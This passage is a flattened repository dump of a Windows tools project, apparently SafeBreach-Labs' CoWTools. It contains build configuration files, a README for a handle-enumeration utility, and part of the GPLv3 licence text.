├── .gitignore ├── CoWTools.sln ├── EnumAllHandles ├── EnumAllHandles.cpp ├── EnumAllHandles.vcxproj ├── EnumAllHandles.vcxproj.filters ├── EnumAllHandles.vcxproj.user ├── LICENSE ├── README.md ├── pch.cpp └── pch.h ├── LiveDump ├── LICENSE ├── LiveDump.cpp ├── LiveDump.hpp ├── LiveDump.vcxproj ├── LiveDump.vcxproj.filters ├── LiveDump.vcxproj.user └── README.md ├── NVRAM ├── LICENSE ├── NVRAM.vcxproj ├── NVRAM.vcxproj.filters ├── NVRAM.vcxproj.user ├── README.md └── main.cpp ├── README.md └── ServiceExecuter ├── LICENSE ├── README.md ├── ServiceExecuter.vcxproj ├── ServiceExecuter.vcxproj.filters ├── ServiceExecuter.vcxproj.user └── main.cpp /.gitignore: -------------------------------------------------------------------------------- 1 | .vs/* 2 | /**/x64/* 3 | 4 | # Prerequisites 5 | *.d 6 | 7 | # Compiled Object files 8 | *.slo 9 | *.lo 10 | *.o 11 | *.obj 12 | 13 | # Precompiled Headers 14 | *.gch 15 | *.pch 16 | 17 | # Compiled Dynamic libraries 18 | *.so 19 | *.dylib 20 | *.dll 21 | 22 | # Fortran module files 23 | *.mod 24 | *.smod 25 | 26 | # Compiled Static libraries 27 | *.lai 28 | *.la 29 | *.a 30 | *.lib 31 | 32 | # Executables 33 | *.exe 34 | *.out 35 | *.app 36 | -------------------------------------------------------------------------------- /CoWTools.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30907.101 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LiveDump", "LiveDump\LiveDump.vcxproj", "{A8143179-8A7E-4C00-A27A-BE2CB0CC2043}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NVRAM", "NVRAM\NVRAM.vcxproj", "{7FCF9BC4-2093-43DA-A79E-6C49B0C89680}" 9 | EndProject 10 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumAllHandles", "EnumAllHandles\EnumAllHandles.vcxproj", "{D9AF087A-D2A1-4533-A034-D94759B7796B}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|x64 = Debug|x64 15 | Debug|x86 = Debug|x86 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Debug|x64.ActiveCfg = Debug|x64 21 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Debug|x64.Build.0 = Debug|x64 22 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Debug|x86.ActiveCfg = Debug|Win32 23 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Debug|x86.Build.0 = Debug|Win32 24 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Release|x64.ActiveCfg = Release|x64 25 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Release|x64.Build.0 = Release|x64 26 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Release|x86.ActiveCfg = Release|Win32 27 | {A8143179-8A7E-4C00-A27A-BE2CB0CC2043}.Release|x86.Build.0 = Release|Win32 28 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Debug|x64.ActiveCfg = Debug|x64 29 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Debug|x64.Build.0 = Debug|x64 30 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Debug|x86.ActiveCfg = Debug|Win32 31 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Debug|x86.Build.0 = Debug|Win32 32 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Release|x64.ActiveCfg = Release|x64 33 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Release|x64.Build.0 = Release|x64 34 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Release|x86.ActiveCfg = Release|Win32 35 | {7FCF9BC4-2093-43DA-A79E-6C49B0C89680}.Release|x86.Build.0 = Release|Win32 36 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Debug|x64.ActiveCfg = Debug|x64 37 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Debug|x64.Build.0 = Debug|x64 38 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Debug|x86.ActiveCfg = Debug|Win32 39 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Debug|x86.Build.0 = Debug|Win32 40 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Release|x64.ActiveCfg = Release|x64 41 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Release|x64.Build.0 = Release|x64 42 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Release|x86.ActiveCfg = Release|Win32 43 | {D9AF087A-D2A1-4533-A034-D94759B7796B}.Release|x86.Build.0 = Release|Win32 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | GlobalSection(ExtensibilityGlobals) = postSolution 49 | SolutionGuid = {51617F09-277B-4F6B-BF64-E0E8CA825C8A} 50 | EndGlobalSection 51 | EndGlobal 52 | -------------------------------------------------------------------------------- /EnumAllHandles/EnumAllHandles.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/CoWTools/39e867197cad8a1b78c4d258272dd22b8f26d769/EnumAllHandles/EnumAllHandles.cpp -------------------------------------------------------------------------------- /EnumAllHandles/EnumAllHandles.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {D9AF087A-D2A1-4533-A034-D94759B7796B} 24 | Win32Proj 25 | EnumAllHandles 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | true 91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | pch.h 94 | MultiThreadedDebug 95 | 96 | 97 | Console 98 | true 99 | %(AdditionalLibraryDirectories) 100 | 101 | 102 | 103 | 104 | Use 105 | Level3 106 | Disabled 107 | true 108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | true 110 | pch.h 111 | MultiThreadedDebug 112 | 113 | 114 | Console 115 | true 116 | 117 | 118 | 119 | 120 | Use 121 | Level3 122 | MaxSpeed 123 | true 124 | true 125 | true 126 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 127 | true 128 | pch.h 129 | MultiThreaded 130 | 131 | 132 | Console 133 | true 134 | true 135 | true 136 | %(AdditionalLibraryDirectories) 137 | 138 | 139 | 140 | 141 | Use 142 | EnableAllWarnings 143 | MaxSpeed 144 | true 145 | true 146 | true 147 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 148 | true 149 | pch.h 150 | MultiThreaded 151 | 152 | 153 | Console 154 | true 155 | true 156 | true 157 | C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\lib\amd64;%(AdditionalLibraryDirectories) 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | Create 167 | Create 168 | Create 169 | Create 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /EnumAllHandles/EnumAllHandles.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | Source Files 28 | 29 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /EnumAllHandles/EnumAllHandles.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /EnumAllHandles/LICENSE: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/CoWTools/39e867197cad8a1b78c4d258272dd22b8f26d769/EnumAllHandles/LICENSE -------------------------------------------------------------------------------- /EnumAllHandles/README.md: -------------------------------------------------------------------------------- 1 | This program enumerates all the handles from all the processes using a call to the native API NtQuerySystemInformation. 2 | 3 | Call: 4 | > EnumAllHandles.exe 5 | 6 | 7 | Example of file output: 8 | ``` 9 | Process ID Handle Type Address Granted Access Name Flags 10 | 4 0000000000000004 - FFFFCF01146D6080 00000000001FFFFF - 0000000000000000 11 | 4 0000000000000008 - FFFFCF01146E1140 00000000001FFFFF - 0000000000000000 12 | 4 000000000000000C - FFFFCF01333A7330 00000000001F0000 - 0000000000000000 13 | 4 0000000000000010 - FFFFCF01146B7460 00000000001F0001 - 0000000000000000 14 | 4 0000000000000014 - FFFFAE8A9AA21E50 00000000000F000F - 0000000000000000 15 | 4 0000000000000018 - FFFFCF013209A130 000000000012008B - 0000000000000000 16 | 4 000000000000001C - FFFFCF01146BEB20 00000000001F0003 - 0000000000000000 17 | 4 0000000000000020 - FFFFAE8A9AA81D50 00000000000F000F - 0000000000000000 18 | 4 0000000000000024 - FFFFAE8A9AA99310 00000000000F000F - 0000000000000000 19 | 4 0000000000000028 - FFFFCF01146AE0A0 00000000001F0003 - 0000000000000000 20 | .... 21 | ``` 22 | 23 | 24 | Required: Admin privileges and high integrity (enable user account control) 25 | 26 | Source: 27 | https://github.com/SinaKarvandi/Process-Magics -------------------------------------------------------------------------------- /EnumAllHandles/pch.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/CoWTools/39e867197cad8a1b78c4d258272dd22b8f26d769/EnumAllHandles/pch.cpp -------------------------------------------------------------------------------- /EnumAllHandles/pch.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SafeBreach-Labs/CoWTools/39e867197cad8a1b78c4d258272dd22b8f26d769/EnumAllHandles/pch.h -------------------------------------------------------------------------------- /LiveDump/LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered 